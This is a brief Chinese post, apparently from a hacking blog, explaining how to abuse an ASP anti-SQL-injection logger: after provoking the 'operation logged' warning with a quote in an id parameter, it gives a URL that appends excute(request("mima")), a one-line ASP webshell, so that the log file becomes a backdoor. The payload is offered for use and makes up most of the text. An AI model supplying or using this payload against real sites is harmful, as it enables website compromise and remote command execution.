例如:

 
网址:http://www.webshell.cc/newslist.asp?id=122′
 
提示“你的操作已被记录!”等信息。
 
利用方法:https://www.webshell.cc/sqlin.asp 看是否存在,存在提交https://www.webshell.cc/newslist.asp?id=122‘excute(request("mima"))写入一句话

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/730.html